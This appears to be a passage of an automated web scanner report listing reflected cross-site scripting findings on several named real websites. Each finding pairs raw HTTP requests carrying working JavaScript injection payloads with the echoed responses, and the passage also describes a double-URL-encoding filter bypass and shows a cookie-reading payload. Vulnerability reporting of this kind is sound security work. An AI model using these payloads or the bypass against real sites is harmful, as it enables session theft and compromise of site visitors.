The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/blue/4429e%2527%253balert%25281%2529%252f%252f59f8c7185c5/search-btn.gif HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/widget/beirutsearchwidget.php?widgetsize=300x130 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 22:18:30 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: PHPSESSID=ec59pmbi0dmpgkk66bbc3dc396; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Index'; var initfacebox=''; var contactid='4429e';alert(1)//59f8c7185c5'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6b39%2527%253balert%25281%2529%252f%252fad7443dd2e7 was submitted in the REST URL parameter 3. This input was echoed as f6b39';alert(1)//ad7443dd2e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/blue/f6b39%2527%253balert%25281%2529%252f%252fad7443dd2e7/search-ico.gif HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/widget/beirutsearchwidget.php?widgetsize=300x130 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 22:18:22 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: PHPSESSID=pt385kpoqt8v89a9sf32dnfg46; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='f6b39';alert(1)//ad7443dd2e7'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12fd8%2527%253balert%25281%2529%252f%252ff021c0b24ff was submitted in the REST URL parameter 3. This input was echoed as 12fd8';alert(1)//f021c0b24ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/purple/12fd8%2527%253balert%25281%2529%252f%252ff021c0b24ff/search-btn.gif HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:31:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Index'; var initfacebox=''; var contactid='12fd8';alert(1)//f021c0b24ff'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c21a0%2527%253balert%25281%2529%252f%252f6ac55102261 was submitted in the REST URL parameter 3. This input was echoed as c21a0';alert(1)//6ac55102261 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/purple/c21a0%2527%253balert%25281%2529%252f%252f6ac55102261/search-ico.gif HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:33:02 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Index'; var initfacebox=''; var contactid='c21a0';alert(1)//6ac55102261'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5dfe9%2527%253balert%25281%2529%252f%252fd25ec58cd34 was submitted in the REST URL parameter 3. This input was echoed as 5dfe9';alert(1)//d25ec58cd34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/purple/5dfe9%2527%253balert%25281%2529%252f%252fd25ec58cd34/site-bottom.png HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:33:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Index'; var initfacebox=''; var contactid='5dfe9';alert(1)//d25ec58cd34'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 310fd%2527%253balert%25281%2529%252f%252f6d9de9b9ba5 was submitted in the REST URL parameter 3. This input was echoed as 310fd';alert(1)//6d9de9b9ba5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/purple/310fd%2527%253balert%25281%2529%252f%252f6d9de9b9ba5/site-cnt.png HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:33:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='310fd';alert(1)//6d9de9b9ba5'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19afb%2527%253balert%25281%2529%252f%252facb23f911c6 was submitted in the REST URL parameter 3. This input was echoed as 19afb';alert(1)//acb23f911c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/purple/19afb%2527%253balert%25281%2529%252f%252facb23f911c6/site-top.png HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:33:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='19afb';alert(1)//acb23f911c6'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82348'-alert(1)-'5df98ca5207 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /82348'-alert(1)-'5df98ca5207/Beirut.com.png HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='82348'-alert(1)-'5df98ca5207'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 350a5"><a>f49b61db3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /twitter350a5"><a>f49b61db3c HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:26:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=twitter350a5"><a>f49b61db3c&listingtype=twitter.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68e96'-alert(1)-'495919bd68e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /twitter68e96'-alert(1)-'495919bd68e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:31:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64475
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='twitter68e96'-alert(1)-'495919bd68e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
4.1167. http://www.beneteaucountdown.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.beneteaucountdown.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c06cc"><script>alert(1)</script>74390de796f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c06cc\"><script>alert(1)</script>74390de796f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?c06cc"><script>alert(1)</script>74390de796f=1 HTTP/1.1 Host: www.beneteaucountdown.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <form name="BrochureRequest" action="index.php?c06cc\"><script>alert(1)</script>74390de796f=1&ccsForm=BrochureRequest" method="post"> ...[SNIP]...
4.1168. http://www.blip.tv/posts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/posts
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33eee'%3balert(1)//bfd09d4ad71 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 33eee';alert(1)//bfd09d4ad71 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /posts?33eee'%3balert(1)//bfd09d4ad71=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1169. http://www.blip.tv/posts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/posts
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 106dd"><script>alert(1)</script>fca98f32eb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /posts?106dd"><script>alert(1)</script>fca98f32eb9=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1170. http://www.blip.tv/posts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/posts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73be9"><script>alert(1)</script>34c636ed8b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /posts/?73be9"><script>alert(1)</script>34c636ed8b6=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1171. http://www.blip.tv/posts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/posts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2098b'%3balert(1)//8bdeb242a10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2098b';alert(1)//8bdeb242a10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /posts/?2098b'%3balert(1)//8bdeb242a10=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1172. http://www.blip.tv/users [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/users
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a9ae"><script>alert(1)</script>78c3b3600ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /users?7a9ae"><script>alert(1)</script>78c3b3600ff=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1173. http://www.blip.tv/users/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blip.tv
Path:
/users/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9199f"><script>alert(1)</script>3ecd1a1aa40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /users/?9199f"><script>alert(1)</script>3ecd1a1aa40=1 HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65012"><script>alert(1)</script>13d1a3fff3b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /lsm/lsmbyid.cgi/00205765012"><script>alert(1)</script>13d1a3fff3b/x22 HTTP/1.1 Host: www.boutell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:39 GMT Server: Apache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 7886
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eef8e"><script>alert(1)</script>89c9b41b94b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /lsm/lsmbyid.cgi/002057/x22eef8e"><script>alert(1)</script>89c9b41b94b HTTP/1.1 Host: www.boutell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:40 GMT Server: Apache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 7886
4.1176. http://www.boutell.com/lsm/lsmbyid.cgi/002057/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.boutell.com
Path:
/lsm/lsmbyid.cgi/002057/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fffc0"><script>alert(1)</script>e04eff45495 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /lsm/lsmbyid.cgi/002057/x22?fffc0"><script>alert(1)</script>e04eff45495=1 HTTP/1.1 Host: www.boutell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:36 GMT Server: Apache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 7889
The value of the kw request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b46d4"><script>alert(1)</script>d39b1f17c61 was submitted in the kw parameter. This input was echoed as b46d4\"><script>alert(1)</script>d39b1f17c61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/live-trial-adwords?utm_source=Google&utm_medium=PPC&kw=erdas%20extensions%20for%20arcgisb46d4"><script>alert(1)</script>d39b1f17c61&utm_campaign=Competitors-Competitor_Companies/ HTTP/1.1 Host: www.espatial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:07:05 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.9 X-Pingback: http://www.espatial.com/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31515
